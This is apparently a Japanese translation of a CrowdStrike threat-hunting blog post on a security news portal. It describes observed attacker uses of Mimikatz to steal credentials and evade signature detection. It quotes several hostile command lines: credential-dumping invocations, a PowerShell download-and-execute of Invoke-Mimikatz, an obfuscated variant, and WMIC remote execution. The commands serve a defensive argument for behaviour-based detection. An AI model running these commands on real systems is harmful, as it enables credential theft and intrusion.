![ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト]](/base/images/header-logo.2019021201.png){kind=logo}
CrowdStrike Blog：「サイバー界のAK47」、Mimikatzを利用したシグネチャベースの検知回避
今回は、オープンソースツールのMimikatzが攻撃者にどのように利用されているかについて、CrowdStrike Falcon OverWatchチームが確認した例をいくつかご紹介します。
国際
海外情報
OverWatchチームは、お客様のインフラストラクチャに対して試みられた攻撃を総合的に可視化しています。この可視化は多岐にわたるお客様の業種・規模を網羅しています。OverWatchチームは、Falconエンドポイントセキュリティプラットフォームが提供するシステムの可視化を用いて、悪意のあるアクティビティを広範囲に観測しています。
権限昇格に使用する認証情報へのアクセス
悪意のあるアクティビティでよく見られるのが、認証情報へのアクセスです。多くの場合、攻撃者は権限を昇格してインフラストラクチャ内のアクセス可能な領域を広げるために、さまざまな手段を使って有効な認証情報を探します。OverWatchチームは、攻撃者が標的とした1人のユーザーに対して、認証情報を盗み取るために複数の手法を用いていたケースを確認しています（認証情報の窃取を狙った悪意のあるアクティビティで複数の手法が使用された例は、「2018年版 Falcon OverWatch Report」で紹介しています）。
Mimikatzの手法
認証情報にアクセスする一般的な方法に、Mimikatzの使用が挙げられます。CrowdStrikeの共同創業者で最高技術責任者（CTO）のDmitri Alperovitchは、Mimikatzを「サイバー界のAK47」と呼んでいます。OverWatchチームは、標的型攻撃とペネトレーションテスト（侵入テスト）のいずれにおいてもMimikatzが使われていることを頻繁に観測しています。
実行ファイル名の変更
Mimikatzを使用した最も単純で直接的な手法は、侵害したシステムにMimikatzをコピーし、実行ファイルの名前を変更し、以下のようなコマンドラインを使用して起動することです。
c:\ProgramData\p.exe ""privilege::debug""
""sekurlsa::logonpasswords""
これにより攻撃者は、システム上の認証情報にアクセスできるようになります。
バッチファイルの使用
Mimikatzを起動する別の方法でこれまでに確認されているものには、バッチファイルを使用して標的となるシステムにMimikatzをコピーし、それを起動してアウトプットをファイルに送信し、その出力ファイルを元の一元的な収集ポイントにコピーして、最後に標的となったシステムから関連ファイルをすべて削除する方法などがあります。
PowerShellの亜種を使用
OverWatchのアナリストがこれまでに確認した認証情報にアクセスするためのその他の方法には、次のような、Mimikatz用に改変したPowerShellを使用した例があります。
powershell -ep Bypass -NoP -NonI -NoLogo -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent[.]com/[REDACTED]/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswordsexit'
コマンドラインオプションの変更
2018年第4四半期には、Mimikatzを使用した別の方法をOverWatchのアナリストが確認しています。具体的には、コマンドラインオプションを変更するように改変されたケースです。
mnl.exe pr::dg sl::lp et -p
このMimikatzの特定の亜種は、以下に示すように、標的とした複数のシステムに対してWMIC.exeを使用して実行されます。
Wmic /NODE:"[REDACTED]" /USER:"[REDACTED]" /password:[REDACTED] process call create "cmd.exe /c (c:\windows\security\mnl.exe pr::dg sl::lp et -p >c:\windows\security\PList.txt) >>
c:\windows\temp\temp.txt"
IOAの監視が必須
これらの手法は明らかに実行ファイルのコマンドラインオプションを参照してその目的を推測したり、バイナリファイル内に関連する文字列が存在するかどうかを確認することだけに頼る脆弱な検知アプローチを回避することを狙ったものと言えます。攻撃者はさまざまな手法を使って認証情報にアクセスする可能性がありますが、Falconプラットフォームは、検知メカニズムを回避または妨害する目的で新しい手法が使用されている場合にも確認できる可視水準を提供します。
ファイル名、ハッシュ、単一のコマンドラインオプションなどの典型的な攻撃の痕跡（IOC）に注目するだけでなく、攻撃者の行動にフォーカスした攻撃の痕跡（IOA）を監視することの重要性が、さらに明らかになっています。
その他のリソース
・「2019 CrowdStrike Global Threat Report:Adversary Tradecraft and the Importance of Speed」をダウンロードしてご覧ください
・「2018年版 CrowdStrike Falcon OverWatch Report 脅威ハンティングの最前線」をダウンロードしてご覧ください
・CrowdStrikeの次世代アンチウイルス(AV)を実際にお試しいただけます。今すぐFalcon Preventの無料トライアル版をお試しください
＊原文はCrowdStrike Blog サイト掲載 ：https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/
関連記事
Scan PREMIUM 会員限定記事
もっと見る-
国際ランサムウェア被害、プライドを捨て財布を開く時期？ － 調査会社提言（The Register）
もしも 5 年から 7 年前であれば、私たちは何があっても身代金を払わないように言うだろう。身代金を払うことで事態を助長することになるからだ。現段階では身代金の支払いで状況は変化しない。 そういう段階がすでに来てしまっている。
-
PostgreSQL において COPY 文の権限設定不備により遠隔から任意のコードが実行可能となる脆弱性（Scan Tech Report）
PostgreSQL に、遠隔から任意のコードの実行を強制することが可能となる脆弱性が報告されています。
-
フィッシング詐欺キットに脆弱性、ターゲットは二度被害に遭う可能性（The Register）
犯罪者が用いるフィッシング詐欺キットに、他の犯罪者が侵入し、盗んだばかりのデータを横取りすることができるという脆弱性があることが明らかになった。
-
Google セキュリティ保証チーム 脆弱性事件簿
GoogleにはPROJECT ZEROという市井ソフトウェアの脆弱性発見プログラムがあるが、自社製品についてもリリース前のセキュリティ監査やバグや脆弱性をFIXさせるチーム、Gooogle Security Assurance Teamが存在する。
ソース・関連リンク
カテゴリ別新着記事
脆弱性と脅威 記事一覧へ
「Firefox」にクラッシュを引き起こされる脆弱性、攻撃も確認（JPCERT/CC）
WordPress用プラグイン「Personalized WooCommerce Cart Page」に脆弱性（JVN）
「Apache Tomcat」に、DoS攻撃を受ける脆弱性（JVN）
LinuxおよびFreeBSDカーネルに、DoS攻撃を受ける複数の脆弱性（JVN）
「VAIO Update」に不正ファイル実行など複数の脆弱性（JVN）
BIND 9.xにDoS攻撃を受ける脆弱性、対応を呼びかけ（JPRS）
インシデント・事故 記事一覧へ
大江分院にて個人情報が記録されたUSBメモリを紛失（福知山市民病院）
従業員3名の健康記録を当人の承諾なく大学院生に開示（イオン北海道）
モリサワフォント不正使用、和解に市場流通価格上回る約1,100万円支払（ACCS）
国民健康保険給付申請書の一部が紛失、誤廃棄の可能性（神戸市）
生年月日の入力を誤り別人の住民票を作成、申請書との内容確認を行わず誤交付（神戸市）
イベント案内メールで誤送信、メールアドレスが流出（サガテレビ）
調査・レポート・白書 記事一覧へ
日本などで活動する「HYDSEVEN」に関する調査結果--特別レポート（ラック）
ビルシステム向けのセキュリティ対策ガイドライン策定（経済産業省）
1兆円突破、2017年度情報セキュリティ市場（JNSA）
EDR、MDRサービスの利用が堅調に拡大--実態調査（IDC Japan）
2018年の個人情報漏えい調査の速報値を公開、漏えい件数が増加に転じる（JNSA）
第1回の結果・講評から読み解く、サイバーセキュリティ小説コンテストの対策とは
研修・セミナー・カンファレンス 記事一覧へ
世界のサイバーインテリジェンスサミット開催（マキナレコード）
「脆弱性診断の内製化」セミナー、体験会も同時開催（SHIFT）
Google セキュリティ保証チーム 脆弱性事件簿
物理・ネット融合領域から生まれるリスク～韓国 SECON 2019 レポート
PCIDSS特化型脆弱性診断のハンズオントレーニング開催（fjコンサルティング）
ACD（攻撃的サイバー防衛）はどこまで許されるのか
製品・サービス・業界動向 記事一覧へ
LAN内の“無管理のIoT機器”をリスト化、個人は無償で利用可能（アズビル セキュリティフライデー）
共同研究：国産技術で着弾後のオペレーション自動化目指す（東京海上日動、FFRI）
複数組織間で協力しダークネットを相関分析、攻撃予兆の検知を実証（慶應義塾大学、中部電力、日立）
無料で参加できる「夏休み親子セキュリティ教室」全国4カ所で開催（トレンドマイクロ）
アジア・パシフィックISLA、米川敦氏ら日本人3名が受賞（（ISC)2）
「SilentDefense」による制御システムセキュリティ対策で協業（マクニカネットワークス、東京電力パワーグリッド）
おしらせ 記事一覧へ
![[配信予告] ＣＳＩＲＴの終焉？ 平成最後のリスクテイク、桜の名所であの純愛カップルが撮影敢行 画像](/imgs/std_m/27120.jpg)
[配信予告] ＣＳＩＲＴの終焉？ 平成最後のリスクテイク、桜の名所であの純愛カップルが撮影敢行
【先着７名】「退位の日」も記載 ～ CSIRT、SOC、IR 担当者向け、地政学的重要日カレンダー CrowdStrike Adversary Calender プレゼント(受付終了)
マクニカネットワークス株式会社 セキュリティサービス室 室長代理 柳下氏を取材しました
![[おしらせ] 人気連載執筆者のご自宅玄関、扉の奥へ 画像](/imgs/std_m/26608.jpg)
[おしらせ] 人気連載執筆者のご自宅玄関、扉の奥へ
記事に関するお詫びと訂正：メール誤送信を助長する表現について
